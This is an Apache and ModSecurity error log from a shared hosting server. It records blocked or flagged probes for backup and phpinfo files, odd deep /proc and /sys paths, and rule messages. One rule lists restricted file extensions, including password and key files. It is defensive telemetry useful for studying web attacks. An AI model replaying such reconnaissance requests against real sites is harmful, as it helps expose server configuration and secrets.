http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:26:46.323432 2026] [security2:error] [pid 2013829:tid 2013829] [client 54.116.45.0:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ceylonparampara.lk"] [uri "/phpinfo.php.old"] [unique_id "almn_g7FYe46zHK_jL3VkgAAABk"]
[Fri Jul 17 09:26:46.323914 2026] [security2:error] [pid 2013829:tid 2013829] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/phpinfo.php.old"] [unique_id "almn_g7FYe46zHK_jL3VkgAAABk"]
[Fri Jul 17 09:26:46.324419 2026] [security2:error] [pid 2013829:tid 2013829] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/phpinfo.php.old"] [unique_id "almn_g7FYe46zHK_jL3VkgAAABk"]
[Fri Jul 17 09:26:46.489142 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".php~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ceylonparampara.lk"] [uri "/phpinfo.php~"] [unique_id "almn_ol9vhFBGA6D8l9_9wAAAAw"]
[Fri Jul 17 09:26:46.489523 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/phpinfo.php~"] [unique_id "almn_ol9vhFBGA6D8l9_9wAAAAw"]
[Fri Jul 17 09:26:46.489899 2026] [security2:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/phpinfo.php~"] [unique_id "almn_ol9vhFBGA6D8l9_9wAAAAw"]
[Fri Jul 17 09:26:46.663508 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ceylonparampara.lk"] [uri "/info.php.bak"] [unique_id "almn_rEWOaI5pmYo9fnUiAAAAAA"]
[Fri Jul 17 09:26:46.663968 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ceylonparampara.lk"] [uri "/info.php.bak"] [unique_id "almn_rEWOaI5pmYo9fnUiAAAAAA"]
[Fri Jul 17 09:26:46.664508 2026] [security2:error] [pid 2019501:tid 2019501] [client 54.116.45.0:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ceylonparampara.lk"] [uri "/info.php.bak"] [unique_id "almn_rEWOaI5pmYo9fnUiAAAAAA"]
[Fri Jul 17 09:26:46.902534 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn_pBVIrrUwtEhdafWrgAAAAU"]
[Fri Jul 17 09:26:46.902679 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn_pBVIrrUwtEhdafWrgAAAAU"]
[Fri Jul 17 09:26:46.903428 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn_pBVIrrUwtEhdafWrgAAAAU"]
[Fri Jul 17 09:26:47.310514 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almn_pBVIrrUwtEhdafWrgAAAAU"]
[Fri Jul 17 09:26:47.767079 2026] [security2:error] [pid 2018757:tid 2018757] [client 57.141.18.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory137/subsystem/devices/memory19/subsystem/devices/memory2/"] [unique_id "almn_0kXT4NBqALj2laCdwAAABA"]
[Fri Jul 17 09:26:47.767112 2026] [security2:error] [pid 2018757:tid 2018757] [client 57.141.18.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory137/subsystem/devices/memory19/subsystem/devices/memory2/"] [unique_id "almn_0kXT4NBqALj2laCdwAAABA"]
[Fri Jul 17 09:26:49.190548 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:36406] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:26:49.193001 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:49.322699 2026] [security2:error] [pid 2013797:tid 2013797] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoAVh1WDijTxd1xw5SCgAAAAc"]
[Fri Jul 17 09:26:49.322800 2026] [security2:error] [pid 2013797:tid 2013797] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoAVh1WDijTxd1xw5SCgAAAAc"]
[Fri Jul 17 09:26:49.323374 2026] [security2:error] [pid 2013797:tid 2013797] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoAVh1WDijTxd1xw5SCgAAAAc"]
[Fri Jul 17 09:26:49.673091 2026] [security2:error] [pid 2013797:tid 2013797] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoAVh1WDijTxd1xw5SCgAAAAc"]
[Fri Jul 17 09:26:50.788046 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 47.82.8.179:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/251:0/device/firmware_node/physical_node/driver/bind
[Fri Jul 17 09:26:50.954493 2026] [security2:error] [pid 2032156:tid 2032156] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/component/headsets"] [unique_id "almoAq14q1EBnanVMYGpugAAAAk"]
[Fri Jul 17 09:26:50.954645 2026] [security2:error] [pid 2032156:tid 2032156] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/component/headsets"] [unique_id "almoAq14q1EBnanVMYGpugAAAAk"]
[Fri Jul 17 09:26:50.954988 2026] [security2:error] [pid 2032156:tid 2032156] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/component/headsets"] [unique_id "almoAq14q1EBnanVMYGpugAAAAk"]
[Fri Jul 17 09:26:51.205799 2026] [security2:error] [pid 2032156:tid 2032156] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almoAq14q1EBnanVMYGpugAAAAk"]
[Fri Jul 17 09:26:51.813015 2026] [security2:error] [pid 2018757:tid 2018757] [client 216.244.66.238:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "tradeceylon.com"] [uri "/categories"] [unique_id "almoA0kXT4NBqALj2laCegAAABA"]
[Fri Jul 17 09:26:51.813826 2026] [security2:error] [pid 2018757:tid 2018757] [client 216.244.66.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "tradeceylon.com"] [uri "/categories"] [unique_id "almoA0kXT4NBqALj2laCegAAABA"]
[Fri Jul 17 09:26:51.814165 2026] [security2:error] [pid 2018757:tid 2018757] [client 216.244.66.238:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "tradeceylon.com"] [uri "/categories"] [unique_id "almoA0kXT4NBqALj2laCegAAABA"]
[Fri Jul 17 09:26:52.498502 2026] [security2:error] [pid 2013797:tid 2013797] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/component/keyboard-mouse"] [unique_id "almoBFh1WDijTxd1xw5SDQAAAAc"]
[Fri Jul 17 09:26:52.498697 2026] [security2:error] [pid 2013797:tid 2013797] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/component/keyboard-mouse"] [unique_id "almoBFh1WDijTxd1xw5SDQAAAAc"]
[Fri Jul 17 09:26:52.499255 2026] [security2:error] [pid 2013797:tid 2013797] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/component/keyboard-mouse"] [unique_id "almoBFh1WDijTxd1xw5SDQAAAAc"]
[Fri Jul 17 09:26:52.553911 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylonpa-global": Permission denied [hostname "ceylonparampara.lk.66-85-158-91.cpanel.site"] [uri "/cpanel-errors/cptechdomain.shtml"] [unique_id "almoBARRrtuZqNDDSqW1jwAAABo"]
[Fri Jul 17 09:26:52.553955 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.116.45.0:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylonpa-ip": Permission denied [hostname "ceylonparampara.lk.66-85-158-91.cpanel.site"] [uri "/cpanel-errors/cptechdomain.shtml"] [unique_id "almoBARRrtuZqNDDSqW1jwAAABo"]
[Fri Jul 17 09:26:52.578556 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:52.818213 2026] [security2:error] [pid 2013797:tid 2013797] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almoBFh1WDijTxd1xw5SDQAAAAc"]
[Fri Jul 17 09:26:53.153751 2026] [security2:error] [pid 2036488:tid 2036488] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almoBbEKozcCJ-ReuK0IlAAAAAg"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:26:53.153817 2026] [security2:error] [pid 2036488:tid 2036488] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almoBbEKozcCJ-ReuK0IlAAAAAg"], referer: http://www.anandaobauae.org/?62.210.79.219uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:26:53.446541 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:53.651590 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/firmware/dmi/entries/3-0/instance
[Fri Jul 17 09:26:53.715002 2026] [security2:error] [pid 2039911:tid 2039911] [client 95.154.200.41:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/askinternational-global": Permission denied [hostname "askinternationalconsortium.com"] [uri "/index.php"] [unique_id "almoBJBVIrrUwtEhdafWtAAAAAU"]
[Fri Jul 17 09:26:53.715048 2026] [security2:error] [pid 2039911:tid 2039911] [client 95.154.200.41:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/askinternational-ip": Permission denied [hostname "askinternationalconsortium.com"] [uri "/index.php"] [unique_id "almoBJBVIrrUwtEhdafWtAAAAAU"]
[Fri Jul 17 09:26:54.082625 2026] [security2:error] [pid 2028246:tid 2028246] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/index.php"] [unique_id "almoBjsMb3am0TgkjETgSwAAAAo"]
